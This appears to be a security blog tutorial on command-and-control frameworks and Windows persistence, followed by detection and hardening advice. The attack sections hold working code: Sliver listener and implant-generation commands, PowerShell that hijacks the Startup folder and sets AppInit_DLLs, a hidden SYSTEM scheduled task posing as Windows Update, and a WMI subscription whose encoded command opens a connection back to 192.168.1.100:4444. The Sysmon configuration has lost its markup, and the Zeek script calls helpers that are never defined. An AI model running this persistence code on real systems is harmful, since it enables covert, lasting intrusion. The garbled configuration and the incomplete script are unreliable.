C2 Frameworks Exposed: How Attackers Maintain Persistence — HackerXone

C2 Frameworks Exposed: How Attackers Maintain Persistence

Disclaimer: This content is provided for educational and defensive security purposes only. The techniques described should only be used in authorized penetration testing engagements or controlled lab environments. Unauthorized access to computer systems is illegal.

The Evolution of Command and Control Infrastructure

In the first half of 2026, we’ve witnessed a significant evolution in how threat actors establish and maintain command and control (C2) channels. The recent takedown of the Phantom Nexus botnet in April revealed infrastructure spanning 47 countries, utilizing a hybrid C2 architecture that combined traditional HTTPS beaconing with DNS-over-HTTPS tunneling and legitimate cloud service abuse. This sophistication represents the new baseline for advanced persistent threats.

Understanding C2 frameworks isn’t just academic—it’s essential for defenders who need to detect, analyze, and neutralize these threats before they achieve their objectives. Whether you’re a SOC analyst hunting for beacons, an incident responder tracing lateral movement, or a red teamer testing organizational defenses, mastering C2 mechanics is fundamental to your craft.

This deep dive examines the internal workings of modern C2 frameworks, the persistence mechanisms they employ, and actionable detection and defense strategies you can implement today.

Anatomy of Modern C2 Architecture

Modern C2 frameworks have evolved far beyond simple reverse shells. Today’s frameworks implement sophisticated architectures designed for stealth, resilience, and operational flexibility. Let’s dissect the core components that make these frameworks effective.

The Listener-Agent Model

At its core, every C2 framework operates on a listener-agent paradigm. The listener runs on attacker-controlled infrastructure, waiting for connections from compromised hosts. Agents (also called implants or beacons) execute on victim machines, establishing communication channels back to the listener.

What distinguishes modern frameworks is the abstraction layer between these components. Frameworks like Sliver, Havoc, and the ever-present Cobalt Strike implement staging mechanisms, allowing operators to deploy lightweight first-stage payloads that subsequently pull down full-featured agents.

# Example: Generating a staged HTTPS listener in Sliver
sliver > https --lhost 192.168.1.100 --lport 443 --domain cdn-assets.legitimatesite.com

[*] Starting HTTPS listener on 192.168.1.100:443
[*] Certificate generated for cdn-assets.legitimatesite.com

sliver > generate --http cdn-assets.legitimatesite.com --os windows --arch amd64 --format exe --save /tmp/update.exe

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 31s
[*] Implant saved to /tmp/update.exe

This staging approach minimizes the initial footprint on disk, as the first-stage loader can be significantly smaller and less feature-rich than the full implant, reducing detection opportunities.

Communication Protocols and Evasion

The communication layer represents the most actively developed aspect of C2 frameworks. Attackers must balance reliability with stealth, leading to increasingly creative protocol implementations.

Common C2 channels in 2026 include:

  • HTTPS with domain fronting: Leveraging CDN infrastructure to mask true destination servers
  • DNS tunneling: Encoding data in DNS queries to bypass network monitoring
  • DoH/DoT: Using encrypted DNS protocols to evade DNS-based detection
  • Cloud service abuse: Utilizing APIs from legitimate services like Azure, AWS, Slack, and Discord
  • WebSocket connections: Maintaining persistent bidirectional channels that blend with legitimate web traffic
  • Protocol tunneling: Encapsulating C2 traffic within allowed protocols like SSH or RDP

Persistence Mechanisms: Surviving Reboots and Detection

Establishing a C2 channel is only the first step. Maintaining persistent access across reboots, user logoffs, and defensive actions requires sophisticated persistence mechanisms. Let’s examine the techniques most commonly deployed by modern frameworks.

Registry-Based Persistence

Windows Registry remains a favorite persistence location due to its deep integration with the operating system and the sheer number of autorun locations available. Modern C2 frameworks typically target lesser-known registry keys to avoid basic detection.

# PowerShell persistence via lesser-known registry location
# This targets the User Shell Folders redirection technique

$payload = "C:\Users\Public\Libraries\updater.exe"
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"

# Backup original value
$original = (Get-ItemProperty -Path $regPath -Name "Startup").Startup

# Create malicious startup folder with payload execution
$maliciousPath = "C:\Users\Public\Libraries\StartupMirror"
New-Item -ItemType Directory -Path $maliciousPath -Force
Copy-Item $payload -Destination "$maliciousPath\updater.exe"

# Redirect Startup folder (triggers on user login)
Set-ItemProperty -Path $regPath -Name "Startup" -Value $maliciousPath

# Alternative: AppInit_DLLs for system-wide persistence (requires admin)
$dllPath = "C:\Windows\System32\legitimate-looking.dll"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -Name "AppInit_DLLs" -Value $dllPath
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -Name "LoadAppInit_DLLs" -Value 1

The User Shell Folders technique is particularly insidious because it redirects the entire Startup folder location rather than adding a single entry, making it harder to spot during manual inspection of traditional autorun locations.

Scheduled Task Persistence

Scheduled tasks provide reliable persistence with granular control over execution timing. Sophisticated attackers often create tasks that mimic legitimate system maintenance operations.

# Creating stealthy scheduled task persistence
# Mimics Windows Update task naming conventions

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\WindowsUpdate.ps1"

$trigger1 = New-ScheduledTaskTrigger -AtLogOn
$trigger2 = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 4) -RepetitionDuration (New-TimeSpan -Days 365)

$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -Hidden -ExecutionTimeLimit (New-TimeSpan -Minutes 0)

$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

Register-ScheduledTask -TaskName "Microsoft\Windows\WindowsUpdate\Scheduled Start" -Action $action -Trigger $trigger1,$trigger2 -Settings $settings -Principal $principal -Description "This task initiates Windows Update scheduled operations."

# Modify task creation timestamp to blend in
$task = Get-ScheduledTask -TaskName "Microsoft\Windows\WindowsUpdate\Scheduled Start"
# Note: Timestamp modification requires direct XML manipulation or third-party tools

This technique places the malicious task within the legitimate Microsoft\Windows\WindowsUpdate task folder hierarchy, using naming conventions that mirror authentic Windows tasks. The dual trigger ensures execution both at login and periodically throughout the day.

WMI Event Subscription Persistence

Windows Management Instrumentation (WMI) event subscriptions represent one of the most resilient persistence mechanisms available. These subscriptions survive reboots and execute based on system events without leaving obvious artifacts in traditional autorun locations.

# WMI persistence using __EventFilter and __EventConsumer binding
# Triggers when any user logs in

$FilterName = "WindowsSecurityFilter"
$ConsumerName = "WindowsSecurityConsumer"
$Payload = "powershell.exe -WindowStyle Hidden -EncodedCommand JABjAGwAaQBlAG4AdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAwACcALAA0ADQANAA0ACkA"

# Create Event Filter (trigger condition)
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
    Name = $FilterName
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"
}

# Create Event Consumer (action to execute)
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
    Name = $ConsumerName
    CommandLineTemplate = $Payload
}

# Bind Filter to Consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
    Filter = $WMIEventFilter
    Consumer = $WMIEventConsumer
}

# Verify installation
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding

WMI persistence is particularly dangerous because it operates entirely within the WMI repository, leaving no files on disk and no obvious registry modifications. The subscription persists across reboots and will continue executing until explicitly removed.

Advanced Persistence: DLL Search Order Hijacking

DLL search order hijacking exploits the Windows DLL loading mechanism to execute malicious code when legitimate applications run. This technique provides persistence that activates whenever the target application executes.

The attack works by placing a malicious DLL in a location that Windows searches before the legitimate DLL location. For applications that don’t specify full paths for their DLL dependencies, this can result in reliable code execution.

Common hijackable locations include:

  • The application’s own directory (highest priority)
  • System directories (requires elevated privileges)
  • PATH environment variable directories
  • Current working directory (in some configurations)

Attackers typically target widely-used applications that run with elevated privileges or during system startup. The technique requires careful DLL proxying to maintain application functionality while executing malicious code.

Detection and Threat Hunting Strategies

Detecting C2 activity and persistence mechanisms requires a multi-layered approach combining network monitoring, endpoint detection, and behavioral analysis. Let’s examine practical detection strategies for each persistence category we’ve discussed.

Network-Based C2 Detection

Network monitoring remains crucial for C2 detection, despite encryption and protocol abuse. Focus on behavioral patterns rather than signature matching.

Key indicators to monitor:

  • Beacon timing analysis: Many C2 frameworks use jittered intervals (e.g., 60 seconds ± 10%). Statistical analysis of connection timing can reveal automated beaconing even over HTTPS.
  • JA3/JA3S fingerprinting: TLS client fingerprints can identify C2 implants even when they use legitimate certificates.
  • DNS anomalies: High entropy in DNS queries, unusual TXT record requests, or queries to newly-registered domains indicate potential tunneling.
  • Cloud service abuse patterns: Unusual API calls to cloud services, especially from endpoints that don’t normally use those services.

Implementing Zeek scripts for beacon detection provides automated identification of potential C2 channels:

# Zeek script for basic beacon detection
# Identifies regular interval connections to single destinations

@load base/frameworks/notice

module BeaconDetection;

export {
    redef enum Notice::Type += {
        Potential_Beacon
    };
    
    const beacon_threshold = 10 &redef;  # Minimum connections to analyze
    const jitter_tolerance = 0.15 &redef;  # 15% timing variance allowed
}

event connection_established(c: connection)
{
    local host = c$id$orig_h;
    local dest = c$id$resp_h;
    local dest_port = c$id$resp_p;
    
    # Track connection timestamps per destination
    if ([host, dest, dest_port] !in conn_history)
        conn_history[host, dest, dest_port] = vector();
    
    conn_history[host, dest, dest_port] += network_time();
    
    # Analyze when sufficient data collected
    if (|conn_history[host, dest, dest_port]| >= beacon_threshold)
    {
        local intervals = calculate_intervals(conn_history[host, dest, dest_port]);
        local variance = calculate_variance(intervals);
        local mean_interval = calculate_mean(intervals);
        
        # Check for regular beaconing pattern
        if (variance / mean_interval < jitter_tolerance)
        {
            NOTICE([$note=Potential_Beacon,
                    $msg=fmt("Potential beacon detected: %s -> %s:%s (interval: %.1fs)", 
                            host, dest, dest_port, mean_interval),
                    $src=host,
                    $dst=dest,
                    $identifier=cat(host, dest, dest_port)]);
        }
    }
}

Endpoint-Based Persistence Detection

Endpoint detection requires monitoring for persistence mechanism creation and execution. Sysmon configuration provides crucial visibility:



  
    
    
      
      \CurrentVersion\Run
      \CurrentVersion\Explorer\User Shell Folders
      \CurrentVersion\Explorer\Shell Folders
      
      \Windows NT\CurrentVersion\Windows\AppInit
      
      \Image File Execution Options\
    
    
    
    
      Created
    
    
    
    
      schtasks.exe
      /create
    
    
    
    
      C:\Users\Public\
      \AppData\Local\Temp\
      \ProgramData\
    
  

Beyond Sysmon, regular auditing using PowerShell can identify existing persistence mechanisms:

# PowerShell persistence hunting script
# Identifies common persistence mechanisms

function Find-PersistenceMechanisms {
    $results = @()
    
    # Check Run keys
    $runKeys = @(
        "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
        "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
        "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
        "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
    )
    
    foreach ($key in $runKeys) {
        if (Test-Path $key) {
            Get-ItemProperty $key | ForEach-Object {
                $_.PSObject.Properties | Where-Object { $_.Name -notlike "PS*" } | ForEach-Object {
                    $results += [PSCustomObject]@{
                        Type = "Registry Run Key"
                        Location = $key
                        Name = $_.Name
                        Value = $_.Value
                    }
                }
            }
        }
    }
    
    # Check scheduled tasks
    Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } | ForEach-Object {
        $task = $_
        $actions = $task.Actions | Where-Object { $_.Execute -like "*powershell*" -or $_.Execute -like "*cmd*" -or $_.Arguments -like "*-enc*" }
        if ($actions) {
            $results += [PSCustomObject]@{
                Type = "Scheduled Task"
                Location = $task.TaskPath
                Name = $task.TaskName
                Value = ($actions | ForEach-Object { "$($_.Execute) $($_.Arguments)" }) -join "; "
            }
        }
    }
    
    # Check WMI subscriptions
    Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue | ForEach-Object {
        $filter = [wmi]$_.Filter
        $consumer = [wmi]$_.Consumer
        $results += [PSCustomObject]@{
            Type = "WMI Subscription"
            Location = "root\subscription"
            Name = $filter.Name
            Value = $consumer.CommandLineTemplate
        }
    }
    
    return $results
}

# Execute and display results
$findings = Find-PersistenceMechanisms
$findings | Format-Table -AutoSize

Defense Strategies and Hardening

Preventing C2 establishment and persistence requires defense in depth. The following strategies address different stages of the attack chain.

Network-Level Controls

Implement DNS security measures:

  • Deploy DNS filtering and monitoring solutions
  • Block or monitor DoH/DoT traffic to unauthorized resolvers
  • Implement DNS RPZ (Response Policy Zones) for known malicious domains
  • Alert on high-entropy DNS queries indicating potential tunneling

Enhance TLS inspection capabilities:

  • Deploy TLS inspection for outbound traffic where legally and technically feasible
  • Implement JA3 fingerprint monitoring and blocking for known C2 signatures
  • Monitor certificate transparency logs for impersonation attempts

Cloud service controls:

  • Implement CASB solutions to monitor cloud service API usage
  • Restrict OAuth application approvals and monitor for suspicious app registrations
  • Block unauthorized cloud storage and collaboration platforms at the network edge

Endpoint Hardening

Restrict persistence mechanism creation:

  • Implement application control policies (WDAC/AppLocker) to restrict execution from user-writable directories
  • Use Group Policy to restrict scheduled task creation to authorized accounts
  • Disable WMI for standard users where not required
  • Monitor and alert on registry modifications to known autorun locations

PowerShell and script controls:

  • Enable PowerShell Constrained Language Mode for standard users
  • Implement script block logging and module logging
  • Disable legacy scripting engines (wscript, cscript) where not required
  • Deploy AMSI-aware security solutions

Active Defense and Deception

Modern defense should include active measures that increase attacker costs and improve detection:

  • Deploy honey tokens: Credentials and files that alert when accessed
  • Implement canary processes: Fake processes that trigger alerts when terminated or injected
  • Create decoy persistence mechanisms: Monitored registry keys and scheduled tasks that alert when modified
  • Deploy network honeypots: Fake services that identify reconnaissance and lateral movement attempts

Key Takeaways

Understanding C2 frameworks and persistence mechanisms is essential for both offensive and defensive security practitioners. Here are the critical points to remember:

  • Modern C2 frameworks prioritize stealth: Expect encrypted communications, legitimate protocol abuse, and cloud service misuse. Detection must focus on behavioral patterns rather than signatures.
  • Persistence is multi-layered: Sophisticated attackers deploy multiple persistence mechanisms. Finding and removing one doesn’t mean the threat is eliminated.
  • WMI and scheduled tasks are high-value targets: These persistence mechanisms are often overlooked during incident response and provide reliable, stealthy code execution.
  • Network monitoring remains critical: Despite encryption, beacon timing analysis and connection pattern monitoring can identify C2 channels.
  • Defense requires depth: Combine network controls, endpoint hardening, and active monitoring. No single solution provides complete protection.
  • Regular hunting is essential: Automated detection catches known patterns. Regular threat hunting using the techniques described can identify novel persistence mechanisms before they’re weaponized.

As C2 frameworks continue evolving, defenders must maintain current knowledge of attacker TTPs and continuously adapt detection and prevention strategies. The techniques described in this post represent the current state of the art, but the landscape will continue shifting throughout 2026 and beyond.

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *